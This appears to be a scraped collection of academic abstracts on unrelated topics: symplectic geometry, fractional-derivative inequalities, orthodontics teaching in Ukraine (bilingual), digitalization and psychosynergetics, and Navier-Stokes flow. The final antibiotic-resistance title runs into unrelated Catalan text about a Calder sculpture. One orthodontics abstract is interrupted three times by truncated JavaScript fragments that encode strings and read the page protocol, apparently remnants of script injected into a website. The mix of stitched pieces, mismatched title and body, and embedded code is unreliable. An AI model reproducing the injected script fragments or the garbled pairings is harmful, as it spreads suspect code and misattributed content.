Massey products in symplectic manifolds

The paper is devoted to study of Massey products in symplectic manifolds. Theory of generalized and classical Massey products and a general construction of symplectic manifolds with nontrivial Massey products of arbitrary large order are exposed. The construction uses the symplectic blow-up and is based on the author results, which describe conditions under which the blow-up of a symplectic manifold X along its submanifold Y inherits nontrivial Massey products from X ot Y. This gives a general construction of nonformal symplectic manifolds.Comment: LaTeX, 48 pages, 2 figure

Kolmogorov type inequalities for the Marchaud fractional derivatives on the real line and the half-line

In this paper we establish some new Kolmogorov type inequalities for the Marchaud and Hadamard fractional derivatives of functions defined on a real axis or semi-axis. Simultaneously we solve two related problems: the Stechkin problem on the best approximation of unbounded operators by bounded ones on a given class of elements and the problem of optimal recovery of operator on elements from some class given with prescribed error. Keywords: inequalities for derivatives, fractional derivatives, approx- imation of unbounded operators by bounded ones, optimal recovery of operators, ideal lattice.Comment: 3 figure

Організація проведення підсумкового модульного контролю з предмета «Ортодонтія» на ІV курсі навчання на кафедрі дитячої стоматології Івано-Франківського національного медичного університету

According to Bologna education system the final module control (FMC) is conducted after the finish of the subject and consists of the control of theoretical and practical parts. FMC 2 in«Orthodontics» at Pediatric Stomatology Department is held at Pediatric Stomatology Department at ІV course (VIII semester) and is carried through 4 academic hours. The general score for FMC 2 in«Orthodontics» contains three criteria: scores for the test control, scores for theoretical knowledge, and assessment of practical skills. The FMC 2 includes some elements of training to the license exam «Krok-2 Stomatology» and to the state exam that might improve results in final degree examination. To summit results it is necessary to consider theoretical knowledge of the student, his or her clinical thinking by analysis of situational tasks and mastering of practical skills. Such a complex assessment promotes the high level of professional European training to be competitive  on the labor market and benefit in the most complicated and responsible sphere such a medicine.Key words: final module control, Orthodontics, Pediatric Stomatology.Згідно із засадами Болонської системи освіти, після завершення вивчення модуля з навчальної дисципліни проводиться підсумковий модульний контроль (ПМК), що включає контроль теоретичної та практичної підготовки студента. ПМК-2 із дисципліни «Ортодонтія» на кафедрі дитячої стоматології Івано-Франківського національного медичного університету проходить на ІV курсі (VIII семестр), на який відводять 4 академічні години. Загальна оцінка за ПМК-2 з предмета «Ортодонтія» містить три складових, а саме: бали за тестування, бали за теоретичну підготовку, тобто усну відповідь, а також бали за якість демонстрації практичних навичок. У ПМК-2 включено елементи підготовки до ліцензійного іспиту «Крок-2 стоматологія» та до державного практично-орієнтованого іспиту, що допоможе підвищити успішність студентів при складанні іспитів після закінчення навчання. Так, при підведенні підсумків успішності на цьому практичному занятті враховується теоретична підготовка студента, його клінічне мислення при аналізі ситуаційних задач та рівень володіння практичною навичкою. Таке комплексне оцінювання сприяє підготовці майбутнього висококваліфікованого фахівця, гідного Європейського рівня освіти та конкурентоспроможного на ринку праці, здатного приносити користь людям своєї держави в найвідповідальнішій та найскладнішій сфері ‒ медицині.Ключові слова: підсумковий модульний контроль, ортодонтія, дитяча стоматологія

ВПРОВАДЖЕННЯ ОСНОВНИХ ПОЛОЖЕНЬ НАВЧАЛЬНОГО ПЛАНУ З ПРЕДМЕТА КУРС ЗА ВИБОРОМ “СУЧАСНІ ТЕХНОЛОГІЇ ЗАСТОСУВАННЯ НЕЗНІМНОЇ ОРТОДОНТИЧНОЇ ТЕХНІКИ” НА КАФЕДРІ ДИТЯЧОЇ СТОМАТОЛОГІЇ ІВАНО-ФРАНКІВСЬКОГО НАЦІОНАЛЬНОГО МЕДИЧНОГО УНІВЕРСИТЕТУ ДЛЯ СТУДЕНТІВ-СУБОРДИНАТ

The article demonstrates the method of implementation of the main statements of the educational plan on the subject by choice “Modern technology of the aplicftion non removable orthodontic technique” into pedagogical process at the Pediatric Stomatology Department of Ivano-Frankivsk Medical University for the students- subordinators. We have developed and adapted education-methodical complex that provides qualified training for the European level professionals based on the typical program. The material of the lectures and practical lessons influence the improvement of the diagnostic skills and treatment of orthodontic disorders by administration of the non-removable appliances as well as prevention and management of the mistake and complications in treatment by bracket-system. It has been proved that developed and adapted by us education-methodical complex enables present the students-subordinators of the stomatological faculty on the subject of choice “Modern technology of aplicftionon non-removable orthodontic technique” and gain required knowledge and skills in a such complicated specialty in stomatology as orthodontics.  // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;eУ статті висвітлена методика впровадження в педагогічний процес основних положень навчального плану з предмета курс за вибором “Сучасні технології застосування незнімної ортодонтичної техніки”  на кафедрі дитячої стоматології Івано-Франківського національного медичного університету для студентів-субординаторів стоматологічного факультету. На основі типової програми дисципліни нами розроблено та адаптовано  навчально-методичний комплекс, який забезпечить професійну підготовку спеціалістів європейського рівня. Лекційний матеріал та практичні заняття з цього предмета сприяють удосконаленню навичок діагностики та лікування ортодонтичної патології, сучасного ортодонтичного лікування із застосуванням незнімної апаратури, а також попередження та усунення помилок і ускладнень, які можуть виникати при терапії брекет-системами. Розроблений та адаптований комплекс навчально-методичного забезпечення дозволяє ефективно подати студентам-субординаторам стоматологічного факультету матеріал із дисципліни курс за вибором “Сучасні технології застосування незнімної ортодонтичної техніки” та здобути їм необхідні сучасні знання і вміння з такої досить складної вузької спеціальності у стоматології, як ортодонтія. // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;

Digitalization of society: implications and perspectives in the context of the psycho-dimensionality of social reality / psychosynertics

The purpose of this article is to analyze the process of «digitalization» of modern society from the point of view of psychosynergistic approach, psycho-dimensionality of social reality as subjective association of people. The concept of «digitalization» is used mainly in scientific and philosophical publications where it is presented as a modern «world trend». The concept of «digitization» is associated with profound changes in the social life of a modern person who in the near future will be in a fully digital world where every aspect of his life will be deeply influenced by digital data: how people will communicate and relate to each other; how they will work, learn, stay healthy and participate in politics and the economy. The introduction of digital technologies promises, on the one hand, enormous benefits for better health, more efficient social mobility, more efficient use of energy, more business and more prosperous companies, etc. But it is also obvious that such a fundamental social transformation will have certain complexities of an individual, intra-psychic nature, i.e. that unexpected challenges and problems that did not exist before have already arisen and may arise further. The main theoretical base of the research are scientific and philosophical publications devoted to the problem of «digitization» and its influence on social life in English and Ukrainian languages. In the works of Ukrainian researchers, attention is mainly paid to economic and technological aspects of «digitalization», but we propose to solve this problem with transdisciplinary approach in which the efforts of scientists from different fields of knowledge (humanities, doctors, psychologists, representatives of computer sciences, etc.) will find general recommendations and regulations, which will help to adapt the person in new social conditions «digital society». One such transdisciplinary area could be psychosynergetics, as a post-non-classical area of knowledge that implements synergistic and other ideas. &nbsp

Asymptotic description of solutions of the exterior Navier Stokes problem in a half space

We consider the problem of a body moving within an incompressible fluid at constant speed parallel to a wall, in an otherwise unbounded domain. This situation is modeled by the incompressible Navier-Stokes equations in an exterior domain in a half space, with appropriate boundary conditions on the wall, the body, and at infinity. We focus on the case where the size of the body is small. We prove in a very general setup that the solution of this problem is unique and we compute a sharp decay rate of the solution far from the moving body and the wall

The sensitivity to antibiotics of nosocomial strains of acinetobacter baumanii isolated in the tertiary hospitals in the Central Kazakhstan

Del 1972, en l'actual emplaçament des de 1976. D'acer pintat, mesura 5 x 3,54 x 3,20 metres.Calder, Alexander (escultor)Pla general de l'obra. La galeria Maeght va decidir instal·lar una sucursal a Barcelona i va triar fer-ho al carrer de Montcada. Va obrir amb una exposició que incloïa una peça de Calder, Quatre ales. Després fou oferida a l'Ajuntament